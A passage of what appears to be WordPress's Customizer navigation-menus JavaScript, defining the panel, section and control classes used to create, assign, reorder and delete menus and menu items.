				this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
				event.preventDefault(); // Avoid additional back-tab.
			} else if ( isEsc ) {
				this.close( { returnFocus: true } );
			}
		}
	});

	/**
	 * wp.customize.Menus.MenusPanel
	 *
	 * Customizer panel for menus. This is used only for screen options management.
	 * Note that 'menus' must match the WP_Customize_Menu_Panel::$type.
	 *
	 * @class    wp.customize.Menus.MenusPanel
	 * @augments wp.customize.Panel
	 */
	api.Menus.MenusPanel = api.Panel.extend(/** @lends wp.customize.Menus.MenusPanel.prototype */{

		attachEvents: function() {
			api.Panel.prototype.attachEvents.call( this );

			var panel = this,
				panelMeta = panel.container.find( '.panel-meta' ),
				help = panelMeta.find( '.customize-help-toggle' ),
				content = panelMeta.find( '.customize-panel-description' ),
				options = $( '#screen-options-wrap' ),
				button = panelMeta.find( '.customize-screen-options-toggle' );
			button.on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault();

				// Hide description.
				if ( content.not( ':hidden' ) ) {
					content.slideUp( 'fast' );
					help.attr( 'aria-expanded', 'false' );
				}

				if ( 'true' === button.attr( 'aria-expanded' ) ) {
					button.attr( 'aria-expanded', 'false' );
					panelMeta.removeClass( 'open' );
					panelMeta.removeClass( 'active-menu-screen-options' );
					options.slideUp( 'fast' );
				} else {
					button.attr( 'aria-expanded', 'true' );
					panelMeta.addClass( 'open' );
					panelMeta.addClass( 'active-menu-screen-options' );
					options.slideDown( 'fast' );
				}

				return false;
			} );

			// Help toggle.
			help.on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault();

				if ( 'true' === button.attr( 'aria-expanded' ) ) {
					button.attr( 'aria-expanded', 'false' );
					help.attr( 'aria-expanded', 'true' );
					panelMeta.addClass( 'open' );
					panelMeta.removeClass( 'active-menu-screen-options' );
					options.slideUp( 'fast' );
					content.slideDown( 'fast' );
				}
			} );
		},

		/**
		 * Update field visibility when clicking on the field toggles.
		 */
		ready: function() {
			var panel = this;
			panel.container.find( '.hide-column-tog' ).on( 'click', function() {
				panel.saveManageColumnsState();
			});

			// Inject additional heading into the menu locations section's head container.
			api.section( 'menu_locations', function( section ) {
				section.headContainer.prepend(
					wp.template( 'nav-menu-locations-header' )( api.Menus.data )
				);
			} );
		},

		/**
		 * Save hidden column states.
		 *
		 * @since 4.3.0
		 * @private
		 *
		 * @return {void}
		 */
		saveManageColumnsState: _.debounce( function() {
			var panel = this;
			if ( panel._updateHiddenColumnsRequest ) {
				panel._updateHiddenColumnsRequest.abort();
			}

			panel._updateHiddenColumnsRequest = wp.ajax.post( 'hidden-columns', {
				hidden: panel.hidden(),
				screenoptionnonce: $( '#screenoptionnonce' ).val(),
				page: 'nav-menus'
			} );
			panel._updateHiddenColumnsRequest.always( function() {
				panel._updateHiddenColumnsRequest = null;
			} );
		}, 2000 ),

		/**
		 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
		 */
		checked: function() {},

		/**
		 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
		 */
		unchecked: function() {},

		/**
		 * Get hidden fields.
		 *
		 * @since 4.3.0
		 * @private
		 *
		 * @return {Array} Fields (columns) that are hidden.
		 */
		hidden: function() {
			return $( '.hide-column-tog' ).not( ':checked' ).map( function() {
				var id = this.id;
				return id.substring( 0, id.length - 5 );
			}).get().join( ',' );
		}
	} );

	/**
	 * wp.customize.Menus.MenuSection
	 *
	 * Customizer section for menus. This is used only for lazy-loading child controls.
	 * Note that 'nav_menu' must match the WP_Customize_Menu_Section::$type.
	 *
	 * @class    wp.customize.Menus.MenuSection
	 * @augments wp.customize.Section
	 */
	api.Menus.MenuSection = api.Section.extend(/** @lends wp.customize.Menus.MenuSection.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.3.0
		 *
		 * @param {string} id
		 * @param {Object} options
		 */
		initialize: function( id, options ) {
			var section = this;
			api.Section.prototype.initialize.call( section, id, options );
			section.deferred.initSortables = $.Deferred();
		},

		/**
		 * Ready.
		 */
		ready: function() {
			var section = this, fieldActiveToggles, handleFieldActiveToggle;

			if ( 'undefined' === typeof section.params.menu_id ) {
				throw new Error( 'params.menu_id was not defined' );
			}

			/*
			 * Since newly created sections won't be registered in PHP, we need to prevent the
			 * preview's sending of the activeSections to result in this control
			 * being deactivated when the preview refreshes. So we can hook onto
			 * the setting that has the same ID and its presence can dictate
			 * whether the section is active.
			 */
			section.active.validate = function() {
				if ( ! api.has( section.id ) ) {
					return false;
				}
				return !! api( section.id ).get();
			};

			section.populateControls();

			section.navMenuLocationSettings = {};
			section.assignedLocations = new api.Value( [] );

			api.each(function( setting, id ) {
				var matches = id.match( /^nav_menu_locations\[(.+?)]/ );
				if ( matches ) {
					section.navMenuLocationSettings[ matches[1] ] = setting;
					setting.bind( function() {
						section.refreshAssignedLocations();
					});
				}
			});

			section.assignedLocations.bind(function( to ) {
				section.updateAssignedLocationsInSectionTitle( to );
			});

			section.refreshAssignedLocations();

			api.bind( 'pane-contents-reflowed', function() {
				// Skip menus that have been removed.
				if ( ! section.contentContainer.parent().length ) {
					return;
				}
				section.container.find( '.menu-item .menu-item-reorder-nav button' ).attr({ 'tabindex': '0', 'aria-hidden': 'false' });
				section.container.find( '.menu-item.move-up-disabled .menus-move-up' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				section.container.find( '.menu-item.move-down-disabled .menus-move-down' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				section.container.find( '.menu-item.move-left-disabled .menus-move-left' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				section.container.find( '.menu-item.move-right-disabled .menus-move-right' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
			} );

			/**
			 * Update the active field class for the content container for a given checkbox toggle.
			 *
			 * @this {jQuery}
			 * @return {void}
			 */
			handleFieldActiveToggle = function() {
				var className = 'field-' + $( this ).val() + '-active';
				section.contentContainer.toggleClass( className, $( this ).prop( 'checked' ) );
			};
			fieldActiveToggles = api.panel( 'nav_menus' ).contentContainer.find( '.metabox-prefs:first' ).find( '.hide-column-tog' );
			fieldActiveToggles.each( handleFieldActiveToggle );
			fieldActiveToggles.on( 'click', handleFieldActiveToggle );
		},

		populateControls: function() {
			var section = this,
				menuNameControlId,
				menuLocationsControlId,
				menuAutoAddControlId,
				menuDeleteControlId,
				menuControl,
				menuNameControl,
				menuLocationsControl,
				menuAutoAddControl,
				menuDeleteControl;

			// Add the control for managing the menu name.
			menuNameControlId = section.id + '[name]';
			menuNameControl = api.control( menuNameControlId );
			if ( ! menuNameControl ) {
				menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
					type: 'nav_menu_name',
					label: api.Menus.data.l10n.menuNameLabel,
					section: section.id,
					priority: 0,
					settings: {
						'default': section.id
					}
				} );
				api.control.add( menuNameControl );
				menuNameControl.active.set( true );
			}

			// Add the menu control.
			menuControl = api.control( section.id );
			if ( ! menuControl ) {
				menuControl = new api.controlConstructor.nav_menu( section.id, {
					type: 'nav_menu',
					section: section.id,
					priority: 998,
					settings: {
						'default': section.id
					},
					menu_id: section.params.menu_id
				} );
				api.control.add( menuControl );
				menuControl.active.set( true );
			}

			// Add the menu locations control.
			menuLocationsControlId = section.id + '[locations]';
			menuLocationsControl = api.control( menuLocationsControlId );
			if ( ! menuLocationsControl ) {
				menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
					section: section.id,
					priority: 999,
					settings: {
						'default': section.id
					},
					menu_id: section.params.menu_id
				} );
				api.control.add( menuLocationsControl.id, menuLocationsControl );
				menuControl.active.set( true );
			}

			// Add the control for managing the menu auto_add.
			menuAutoAddControlId = section.id + '[auto_add]';
			menuAutoAddControl = api.control( menuAutoAddControlId );
			if ( ! menuAutoAddControl ) {
				menuAutoAddControl = new api.controlConstructor.nav_menu_auto_add( menuAutoAddControlId, {
					type: 'nav_menu_auto_add',
					label: '',
					section: section.id,
					priority: 1000,
					settings: {
						'default': section.id
					}
				} );
				api.control.add( menuAutoAddControl );
				menuAutoAddControl.active.set( true );
			}

			// Add the control for deleting the menu.
			menuDeleteControlId = section.id + '[delete]';
			menuDeleteControl = api.control( menuDeleteControlId );
			if ( ! menuDeleteControl ) {
				menuDeleteControl = new api.Control( menuDeleteControlId, {
					section: section.id,
					priority: 1001,
					templateId: 'nav-menu-delete-button'
				} );
				api.control.add( menuDeleteControl.id, menuDeleteControl );
				menuDeleteControl.active.set( true );
				menuDeleteControl.deferred.embedded.done( function () {
					menuDeleteControl.container.find( 'button' ).on( 'click', function() {
						var menuId = section.params.menu_id;
						var menuControl = api.Menus.getMenuControl( menuId );
						menuControl.setting.set( false );
					});
				} );
			}
		},

		/**
		 *
		 */
		refreshAssignedLocations: function() {
			var section = this,
				menuTermId = section.params.menu_id,
				currentAssignedLocations = [];
			_.each( section.navMenuLocationSettings, function( setting, themeLocation ) {
				if ( setting() === menuTermId ) {
					currentAssignedLocations.push( themeLocation );
				}
			});
			section.assignedLocations.set( currentAssignedLocations );
		},

		/**
		 * @param {Array} themeLocationSlugs Theme location slugs.
		 */
		updateAssignedLocationsInSectionTitle: function( themeLocationSlugs ) {
			var section = this,
				$title;

			$title = section.container.find( '.accordion-section-title:first' );
			$title.find( '.menu-in-location' ).remove();
			_.each( themeLocationSlugs, function( themeLocationSlug ) {
				var $label, locationName;
				$label = $( '<span class="menu-in-location"></span>' );
				locationName = api.Menus.data.locationSlugMappedToName[ themeLocationSlug ];
				$label.text( api.Menus.data.l10n.menuLocation.replace( '%s', locationName ) );
				$title.append( $label );
			});

			section.container.toggleClass( 'assigned-to-menu-location', 0 !== themeLocationSlugs.length );

		},

		onChangeExpanded: function( expanded, args ) {
			var section = this, completeCallback;

			if ( expanded ) {
				wpNavMenu.menuList = section.contentContainer;
				wpNavMenu.targetList = wpNavMenu.menuList;

				// Add attributes needed by wpNavMenu.
				$( '#menu-to-edit' ).removeAttr( 'id' );
				wpNavMenu.menuList.attr( 'id', 'menu-to-edit' ).addClass( 'menu' );

				_.each( api.section( section.id ).controls(), function( control ) {
					if ( 'nav_menu_item' === control.params.type ) {
						control.actuallyEmbed();
					}
				} );

				// Make sure Sortables is initialized after the section has been expanded to prevent `offset` issues.
				if ( args.completeCallback ) {
					completeCallback = args.completeCallback;
				}
				args.completeCallback = function() {
					if ( 'resolved' !== section.deferred.initSortables.state() ) {
						wpNavMenu.initSortables(); // Depends on menu-to-edit ID being set above.
						section.deferred.initSortables.resolve( wpNavMenu.menuList ); // Now MenuControl can extend the sortable.

						// @todo Note that wp.customize.reflowPaneContents() is debounced,
						// so this immediate change will show a slight flicker while priorities get updated.
						api.control( 'nav_menu[' + String( section.params.menu_id ) + ']' ).reflowMenuItems();
					}
					if ( _.isFunction( completeCallback ) ) {
						completeCallback();
					}
				};
			}
			api.Section.prototype.onChangeExpanded.call( section, expanded, args );
		},

		/**
		 * Highlight how a user may create new menu items.
		 *
		 * This method reminds the user to create new menu items and how.
		 * It's exposed this way because this class knows best which UI needs
		 * highlighted but those expanding this section know more about why and
		 * when the affordance should be highlighted.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		highlightNewItemButton: function() {
			api.utils.highlightButton( this.contentContainer.find( '.add-new-menu-item' ), { delay: 2000 } );
		}
	});

	/**
	 * Create a nav menu setting and section.
	 *
	 * @since 4.9.0
	 *
	 * @param {string} [name=''] Nav menu name.
	 * @return {wp.customize.Menus.MenuSection} Added nav menu.
	 */
	api.Menus.createNavMenu = function createNavMenu( name ) {
		var customizeId, placeholderId, setting;
		placeholderId = api.Menus.generatePlaceholderAutoIncrementId();

		customizeId = 'nav_menu[' + String( placeholderId ) + ']';

		// Register the menu control setting.
		setting = api.create( customizeId, customizeId, {}, {
			type: 'nav_menu',
			transport: api.Menus.data.settingTransport,
			previewer: api.previewer
		} );
		setting.set( $.extend(
			{},
			api.Menus.data.defaultSettingValues.nav_menu,
			{
				name: name || ''
			}
		) );

		/*
		 * Add the menu section (and its controls).
		 * Note that this will automatically create the required controls
		 * inside via the Section's ready method.
		 */
		return api.section.add( new api.Menus.MenuSection( customizeId, {
			panel: 'nav_menus',
			title: displayNavMenuName( name ),
			customizeAction: api.Menus.data.l10n.customizingMenus,
			priority: 10,
			menu_id: placeholderId
		} ) );
	};

	/**
	 * wp.customize.Menus.NewMenuSection
	 *
	 * Customizer section for new menus.
	 *
	 * @class    wp.customize.Menus.NewMenuSection
	 * @augments wp.customize.Section
	 */
	api.Menus.NewMenuSection = api.Section.extend(/** @lends wp.customize.Menus.NewMenuSection.prototype */{

		/**
		 * Add behaviors for the accordion section.
		 *
		 * @since 4.3.0
		 */
		attachEvents: function() {
			var section = this,
				container = section.container,
				contentContainer = section.contentContainer,
				navMenuSettingPattern = /^nav_menu\[/;

			section.headContainer.find( '.accordion-section-title' ).replaceWith(
				wp.template( 'nav-menu-create-menu-section-title' )
			);

			/*
			 * We have to manually handle section expanded because we do not
			 * apply the `accordion-section-title` class to this button-driven section.
			 */
			container.on( 'click', '.customize-add-menu-button', function() {
				section.expand();
			});

			contentContainer.on( 'keydown', '.menu-name-field', function( event ) {
				if ( 13 === event.which ) { // Enter.
					section.submit();
				}
			} );
			contentContainer.on( 'click', '#customize-new-menu-submit', function( event ) {
				section.submit();
				event.stopPropagation();
				event.preventDefault();
			} );

			/**
			 * Get number of non-deleted nav menus.
			 *
			 * @since 4.9.0
			 * @return {number} Count.
			 */
			function getNavMenuCount() {
				var count = 0;
				api.each( function( setting ) {
					if ( navMenuSettingPattern.test( setting.id ) && false !== setting.get() ) {
						count += 1;
					}
				} );
				return count;
			}

			/**
			 * Update visibility of notice to prompt users to create menus.
			 *
			 * @since 4.9.0
			 * @return {void}
			 */
			function updateNoticeVisibility() {
				container.find( '.add-new-menu-notice' ).prop( 'hidden', getNavMenuCount() > 0 );
			}

			/**
			 * Handle setting addition.
			 *
			 * @since 4.9.0
			 * @param {wp.customize.Setting} setting - Added setting.
			 * @return {void}
			 */
			function addChangeEventListener( setting ) {
				if ( navMenuSettingPattern.test( setting.id ) ) {
					setting.bind( updateNoticeVisibility );
					updateNoticeVisibility();
				}
			}

			/**
			 * Handle setting removal.
			 *
			 * @since 4.9.0
			 * @param {wp.customize.Setting} setting - Removed setting.
			 * @return {void}
			 */
			function removeChangeEventListener( setting ) {
				if ( navMenuSettingPattern.test( setting.id ) ) {
					setting.unbind( updateNoticeVisibility );
					updateNoticeVisibility();
				}
			}

			api.each( addChangeEventListener );
			api.bind( 'add', addChangeEventListener );
			api.bind( 'removed', removeChangeEventListener );
			updateNoticeVisibility();

			api.Section.prototype.attachEvents.apply( section, arguments );
		},

		/**
		 * Set up the control.
		 *
		 * @since 4.9.0
		 */
		ready: function() {
			this.populateControls();
		},

		/**
		 * Create the controls for this section.
		 *
		 * @since 4.9.0
		 */
		populateControls: function() {
			var section = this,
				menuNameControlId,
				menuLocationsControlId,
				newMenuSubmitControlId,
				menuNameControl,
				menuLocationsControl,
				newMenuSubmitControl;

			menuNameControlId = section.id + '[name]';
			menuNameControl = api.control( menuNameControlId );
			if ( ! menuNameControl ) {
				menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
					label: api.Menus.data.l10n.menuNameLabel,
					description: api.Menus.data.l10n.newMenuNameDescription,
					section: section.id,
					priority: 0
				} );
				api.control.add( menuNameControl.id, menuNameControl );
				menuNameControl.active.set( true );
			}

			menuLocationsControlId = section.id + '[locations]';
			menuLocationsControl = api.control( menuLocationsControlId );
			if ( ! menuLocationsControl ) {
				menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
					section: section.id,
					priority: 1,
					menu_id: '',
					isCreating: true
				} );
				api.control.add( menuLocationsControlId, menuLocationsControl );
				menuLocationsControl.active.set( true );
			}

			newMenuSubmitControlId = section.id + '[submit]';
			newMenuSubmitControl = api.control( newMenuSubmitControlId );
			if ( !newMenuSubmitControl ) {
				newMenuSubmitControl = new api.Control( newMenuSubmitControlId, {
					section: section.id,
					priority: 1,
					templateId: 'nav-menu-submit-new-button'
				} );
				api.control.add( newMenuSubmitControlId, newMenuSubmitControl );
				newMenuSubmitControl.active.set( true );
			}
		},

		/**
		 * Create the new menu with name and location supplied by the user.
		 *
		 * @since 4.9.0
		 */
		submit: function() {
			var section = this,
				contentContainer = section.contentContainer,
				nameInput = contentContainer.find( '.menu-name-field' ).first(),
				name = nameInput.val(),
				menuSection;

			if ( ! name ) {
				nameInput.addClass( 'invalid' );
				nameInput.focus();
				return;
			}

			menuSection = api.Menus.createNavMenu( name );

			// Clear name field.
			nameInput.val( '' );
			nameInput.removeClass( 'invalid' );

			contentContainer.find( '.assigned-menu-location input[type=checkbox]' ).each( function() {
				var checkbox = $( this ),
				navMenuLocationSetting;

				if ( checkbox.prop( 'checked' ) ) {
					navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' );
					navMenuLocationSetting.set( menuSection.params.menu_id );

					// Reset state for next new menu.
					checkbox.prop( 'checked', false );
				}
			} );

			wp.a11y.speak( api.Menus.data.l10n.menuAdded );

			// Focus on the new menu section.
			menuSection.focus( {
				completeCallback: function() {
					menuSection.highlightNewItemButton();
				}
			} );
		},

		/**
		 * Select a default location.
		 *
		 * This method selects a single location by default so we can support
		 * creating a menu for a specific menu location.
		 *
		 * @since 4.9.0
		 *
		 * @param {string|null} locationId - The ID of the location to select. `null` clears all selections.
		 * @return {void}
		 */
		selectDefaultLocation: function( locationId ) {
			var locationControl = api.control( this.id + '[locations]' ),
				locationSelections = {};

			if ( locationId !== null ) {
				locationSelections[ locationId ] = true;
			}

			locationControl.setSelections( locationSelections );
		}
	});

	/**
	 * wp.customize.Menus.MenuLocationControl
	 *
	 * Customizer control for menu locations (rendered as a <select>).
	 * Note that 'nav_menu_location' must match the WP_Customize_Nav_Menu_Location_Control::$type.
	 *
	 * @class    wp.customize.Menus.MenuLocationControl
	 * @augments wp.customize.Control
	 */
	api.Menus.MenuLocationControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationControl.prototype */{
		initialize: function( id, options ) {
			var control = this,
				matches = id.match( /^nav_menu_locations\[(.+?)]/ );
			control.themeLocation = matches[1];
			api.Control.prototype.initialize.call( control, id, options );
		},

		ready: function() {
			var control = this, navMenuIdRegex = /^nav_menu\[(-?\d+)]/;

			// @todo It would be better if this was added directly on the setting itself, as opposed to the control.
			control.setting.validate = function( value ) {
				if ( '' === value ) {
					return 0;
				} else {
					return parseInt( value, 10 );
				}
			};

			// Create and Edit menu buttons.
			control.container.find( '.create-menu' ).on( 'click', function() {
				var addMenuSection = api.section( 'add_menu' );
				addMenuSection.selectDefaultLocation( this.dataset.locationId );
				addMenuSection.focus();
			} );
			control.container.find( '.edit-menu' ).on( 'click', function() {
				var menuId = control.setting();
				api.section( 'nav_menu[' + menuId + ']' ).focus();
			});
			control.setting.bind( 'change', function() {
				var menuIsSelected = 0 !== control.setting();
				control.container.find( '.create-menu' ).toggleClass( 'hidden', menuIsSelected );
				control.container.find( '.edit-menu' ).toggleClass( 'hidden', ! menuIsSelected );
			});

			// Add/remove menus from the available options when they are added and removed.
			api.bind( 'add', function( setting ) {
				var option, menuId, matches = setting.id.match( navMenuIdRegex );
				if ( ! matches || false === setting() ) {
					return;
				}
				menuId = matches[1];
				option = new Option( displayNavMenuName( setting().name ), menuId );
				control.container.find( 'select' ).append( option );
			});
			api.bind( 'remove', function( setting ) {
				var menuId, matches = setting.id.match( navMenuIdRegex );
				if ( ! matches ) {
					return;
				}
				menuId = parseInt( matches[1], 10 );
				if ( control.setting() === menuId ) {
					control.setting.set( '' );
				}
				control.container.find( 'option[value=' + menuId + ']' ).remove();
			});
			api.bind( 'change', function( setting ) {
				var menuId, matches = setting.id.match( navMenuIdRegex );
				if ( ! matches ) {
					return;
				}
				menuId = parseInt( matches[1], 10 );
				if ( false === setting() ) {
					if ( control.setting() === menuId ) {
						control.setting.set( '' );
					}
					control.container.find( 'option[value=' + menuId + ']' ).remove();
				} else {
					control.container.find( 'option[value=' + menuId + ']' ).text( displayNavMenuName( setting().name ) );
				}
			});
		}
	});

	api.Menus.MenuItemControl = api.Control.extend(/** @lends wp.customize.Menus.MenuItemControl.prototype */{

		/**
		 * wp.customize.Menus.MenuItemControl
		 *
		 * Customizer control for menu items.
		 * Note that 'menu_item' must match the WP_Customize_Menu_Item_Control::$type.
		 *
		 * @constructs wp.customize.Menus.MenuItemControl
		 * @augments   wp.customize.Control
		 *
		 * @inheritDoc
		 */
		initialize: function( id, options ) {
			var control = this;
			control.expanded = new api.Value( false );
			control.expandedArgumentsQueue = [];
			control.expanded.bind( function( expanded ) {
				var args = control.expandedArgumentsQueue.shift();
				args = $.extend( {}, control.defaultExpandedArguments, args );
				control.onChangeExpanded( expanded, args );
			});
			api.Control.prototype.initialize.call( control, id, options );
			control.active.validate = function() {
				var value, section = api.section( control.section() );
				if ( section ) {
					value = section.active();
				} else {
					value = false;
				}
				return value;
			};
		},

		/**
		 * Override the embed() method to do nothing,
		 * so that the control isn't embedded on load,
		 * unless the containing section is already expanded.
		 *
		 * @since 4.3.0
		 */
		embed: function() {
			var control = this,
				sectionId = control.section(),
				section;
			if ( ! sectionId ) {
				return;
			}
			section = api.section( sectionId );
			if ( ( section && section.expanded() ) || api.settings.autofocus.control === control.id ) {
				control.actuallyEmbed();
			}
		},

		/**
		 * This function is called in Section.onChangeExpanded() so the control
		 * will only get embedded when the Section is first expanded.
		 *
		 * @since 4.3.0
		 */
		actuallyEmbed: function() {
			var control = this;
			if ( 'resolved' === control.deferred.embedded.state() ) {
				return;
			}
			control.renderContent();
			control.deferred.embedded.resolve(); // This triggers control.ready().
		},

		/**
		 * Set up the control.
		 */
		ready: function() {
			if ( 'undefined' === typeof this.params.menu_item_id ) {
				throw new Error( 'params.menu_item_id was not defined' );
			}

			this._setupControlToggle();
			this._setupReorderUI();
			this._setupUpdateUI();
			this._setupRemoveUI();
			this._setupLinksUI();
			this._setupTitleUI();
		},

		/**
		 * Show/hide the settings when clicking on the menu item handle.
		 */
		_setupControlToggle: function() {
			var control = this;

			this.container.find( '.menu-item-handle' ).on( 'click', function( e ) {
				e.preventDefault();
				e.stopPropagation();
				var menuControl = control.getMenuControl(),
					isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
					isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );

				if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
					api.Menus.availableMenuItemsPanel.close();
				}

				if ( menuControl.isReordering || menuControl.isSorting ) {
					return;
				}
				control.toggleForm();
			} );
		},

		/**
		 * Set up the menu-item-reorder-nav
		 */
		_setupReorderUI: function() {
			var control = this, template, $reorderNav;

			template = wp.template( 'menu-item-reorder-nav' );

			// Add the menu item reordering elements to the menu item control.
			control.container.find( '.item-controls' ).after( template );

			// Handle clicks for up/down/left-right on the reorder nav.
			$reorderNav = control.container.find( '.menu-item-reorder-nav' );
			$reorderNav.find( '.menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right' ).on( 'click', function() {
				var moveBtn = $( this );
				moveBtn.focus();

				var isMoveUp = moveBtn.is( '.menus-move-up' ),
					isMoveDown = moveBtn.is( '.menus-move-down' ),
					isMoveLeft = moveBtn.is( '.menus-move-left' ),
					isMoveRight = moveBtn.is( '.menus-move-right' );

				if ( isMoveUp ) {
					control.moveUp();
				} else if ( isMoveDown ) {
					control.moveDown();
				} else if ( isMoveLeft ) {
					control.moveLeft();
				} else if ( isMoveRight ) {
					control.moveRight();
				}

				moveBtn.focus(); // Re-focus after the container was moved.
			} );
		},

		/**
		 * Set up event handlers for menu item updating.
		 */
		_setupUpdateUI: function() {
			var control = this,
				settingValue = control.setting(),
				updateNotifications;

			control.elements = {};
			control.elements.url = new api.Element( control.container.find( '.edit-menu-item-url' ) );
			control.elements.title = new api.Element( control.container.find( '.edit-menu-item-title' ) );
			control.elements.attr_title = new api.Element( control.container.find( '.edit-menu-item-attr-title' ) );
			control.elements.target = new api.Element( control.container.find( '.edit-menu-item-target' ) );
			control.elements.classes = new api.Element( control.container.find( '.edit-menu-item-classes' ) );
			control.elements.xfn = new api.Element( control.container.find( '.edit-menu-item-xfn' ) );
			control.elements.description = new api.Element( control.container.find( '.edit-menu-item-description' ) );
			// @todo Allow other elements, added by plugins, to be automatically picked up here;
			// allow additional values to be added to setting array.

			_.each( control.elements, function( element, property ) {
				element.bind(function( value ) {
					if ( element.element.is( 'input[type=checkbox]' ) ) {
						value = ( value ) ? element.element.val() : '';
					}

					var settingValue = control.setting();
					if ( settingValue && settingValue[ property ] !== value ) {
						settingValue = _.clone( settingValue );
						settingValue[ property ] = value;
						control.setting.set( settingValue );
					}
				});
				if ( settingValue ) {
					if ( ( property === 'classes' || property === 'xfn' ) && _.isArray( settingValue[ property ] ) ) {
						element.set( settingValue[ property ].join( ' ' ) );
					} else {
						element.set( settingValue[ property ] );
					}
				}
			});

			control.setting.bind(function( to, from ) {
				var itemId = control.params.menu_item_id,
					followingSiblingItemControls = [],
					childrenItemControls = [],
					menuControl;

				if ( false === to ) {
					menuControl = api.control( 'nav_menu[' + String( from.nav_menu_term_id ) + ']' );
					control.container.remove();

					_.each( menuControl.getMenuItemControls(), function( otherControl ) {
						if ( from.menu_item_parent === otherControl.setting().menu_item_parent && otherControl.setting().position > from.position ) {
							followingSiblingItemControls.push( otherControl );
						} else if ( otherControl.setting().menu_item_parent === itemId ) {
							childrenItemControls.push( otherControl );
						}
					});

					// Shift all following siblings by the number of children this item has.
					_.each( followingSiblingItemControls, function( followingSiblingItemControl ) {
						var value = _.clone( followingSiblingItemControl.setting() );
						value.position += childrenItemControls.length;
						followingSiblingItemControl.setting.set( value );
					});

					// Now move the children up to be the new subsequent siblings.
					_.each( childrenItemControls, function( childrenItemControl, i ) {
						var value = _.clone( childrenItemControl.setting() );
						value.position = from.position + i;
						value.menu_item_parent = from.menu_item_parent;
						childrenItemControl.setting.set( value );
					});

					menuControl.debouncedReflowMenuItems();
				} else {
					// Update the elements' values to match the new setting properties.
					_.each( to, function( value, key ) {
						if ( control.elements[ key] ) {
							control.elements[ key ].set( to[ key ] );
						}
					} );
					control.container.find( '.menu-item-data-parent-id' ).val( to.menu_item_parent );

					// Handle UI updates when the position or depth (parent) change.
					if ( to.position !== from.position || to.menu_item_parent !== from.menu_item_parent ) {
						control.getMenuControl().debouncedReflowMenuItems();
					}
				}
			});

			// Style the URL field as invalid when there is an invalid_url notification.
			updateNotifications = function() {
				control.elements.url.element.toggleClass( 'invalid', control.setting.notifications.has( 'invalid_url' ) );
			};
			control.setting.notifications.bind( 'add', updateNotifications );
			control.setting.notifications.bind( 'removed', updateNotifications );
		},

		/**
		 * Set up event handlers for menu item deletion.
		 */
		_setupRemoveUI: function() {
			var control = this, $removeBtn;

			// Configure delete button.
			$removeBtn = control.container.find( '.item-delete' );

			$removeBtn.on( 'click', function() {
				// Find an adjacent element to add focus to when this menu item goes away.
				var addingItems = true, $adjacentFocusTarget, $next, $prev,
					instanceCounter = 0, // Instance count of the menu item deleted.
					deleteItemOriginalItemId = control.params.original_item_id,
					addedItems = control.getMenuControl().$sectionContent.find( '.menu-item' ),
					availableMenuItem;

				if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) {
					addingItems = false;
				}

				$next = control.container.nextAll( '.customize-control-nav_menu_item:visible' ).first();
				$prev = control.container.prevAll( '.customize-control-nav_menu_item:visible' ).first();

				if ( $next.length ) {
					$adjacentFocusTarget = $next.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
				} else if ( $prev.length ) {
					$adjacentFocusTarget = $prev.find( false === addingItems ? '.item-edit' : '.item-delete' ).first();
				} else {
					$adjacentFocusTarget = control.container.nextAll( '.customize-control-nav_menu' ).find( '.add-new-menu-item' ).first();
				}

				/*
				 * If the menu item deleted is the only of its instance left,
				 * remove the check icon of this menu item in the right panel.
				 */
				_.each( addedItems, function( addedItem ) {
					var menuItemId, menuItemControl, matches;

					// This is because menu item that's deleted is just hidden.
					if ( ! $( addedItem ).is( ':visible' ) ) {
						return;
					}

					matches = addedItem.getAttribute( 'id' ).match( /^customize-control-nav_menu_item-(-?\d+)$/, '' );
					if ( ! matches ) {
						return;
					}

					menuItemId      = parseInt( matches[1], 10 );
					menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' );

					// Check for duplicate menu items.
					if ( menuItemControl && deleteItemOriginalItemId == menuItemControl.params.original_item_id ) {
						instanceCounter++;
					}
				} );

				if ( instanceCounter <= 1 ) {
					// Revert the check icon to add icon.
					availableMenuItem = $( '#menu-item-tpl-' + control.params.original_item_id );
					availableMenuItem.removeClass( 'selected' );
					availableMenuItem.find( '.menu-item-handle' ).removeClass( 'item-added' );
				}

				control.container.slideUp( function() {
					control.setting.set( false );
					wp.a11y.speak( api.Menus.data.l10n.itemDeleted );
					$adjacentFocusTarget.focus(); // Keyboard accessibility.
				} );

				control.setting.set( false );
			} );
		},

		_setupLinksUI: function() {
			var $origBtn;

			// Configure original link.
			$origBtn = this.container.find( 'a.original-link' );

			$origBtn.on( 'click', function( e ) {
				e.preventDefault();
				api.previewer.previewUrl( e.target.toString() );
			} );
		},

		/**
		 * Update item handle title when changed.
		 */
		_setupTitleUI: function() {
			var control = this, titleEl;

			// Ensure that whitespace is trimmed on blur so placeholder can be shown.
			control.container.find( '.edit-menu-item-title' ).on( 'blur', function() {
				$( this ).val( $( this ).val().trim() );
			} );

			titleEl = control.container.find( '.menu-item-title' );
			control.setting.bind( function( item ) {
